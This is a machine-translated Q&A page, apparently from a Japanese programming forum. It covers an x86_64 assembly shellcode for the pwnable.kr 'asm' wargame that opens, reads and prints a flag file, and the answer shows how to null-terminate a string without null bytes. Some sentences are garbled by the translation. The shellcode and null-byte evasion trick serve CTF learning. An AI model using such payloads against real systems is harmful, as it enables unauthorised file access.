2016-12-17 10 views
-1

私はシェルコードを書く必要があるpwnable.kr(toddlers bottle、asm)からCTFタスクを解決しようとしています。フラグ)。次のようにシェルコードの文字列を扱う

私のコードは次のとおりです。0で除算

global _start 

section .text 

_start: 
    jmp mesg 
    shellcode: 
    ; open 
    pop rdi ; rdi points to file_name and trash 
    xor rsi, rsi 
    mov al, 2 ; sys_open 
    syscall 

    ; read 
    mov rdi, rax 
    xor rax, rax ; sys_read 
    lea rsi, [rsp] 
    mov dl, 0x20 
    syscall 

    ; write 
    mov dl, al ; bytes read 
    xor rax, rax 
    mov al, 1 ; sys_write 
    mov dil, 1 ; stdout 
    lea rsi, [rsp] 
    syscall 

    ; crash 
    xor ebx, ebx 
    xor eax, eax 
    div ebx 

mesg: 
    call shellcode 
    db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00 
section .data 

が実行を停止し、call shellcode

長い文字列がフラグを含むファイルの名前であるとのループを回避することです。

私はここでレジスタに文字列のアドレスをpopingとトリックが見つかりました:Linux Shellcode "Hello, World!"

私の問題は、次のとおりです。ファイル名がnullで終了ではありません。したがって、sys_openが呼び出されると、ファイル名には実際の文字列の後にゴミ箱が含まれます。

私は次のようにいろいろ書いをやってみました:それは問題ですので(シェルコードは、標準入力から読み込まれます手動でNULLを挿入するためにRDIに飛び出る後

xor al, al 
mov byte [rdi + 464], al 

、私はバイトコードからNULLを取り除くことはできません)。

これに対処する最良の方法は何ですか?

アーキテクチャ:x86_64の0バイトのないコードを書くための

答えて

1

多くの方法。一例:

xor eax, eax 
mov al, 116 
mov byte [rdi+rax*4],ah 
関連する問題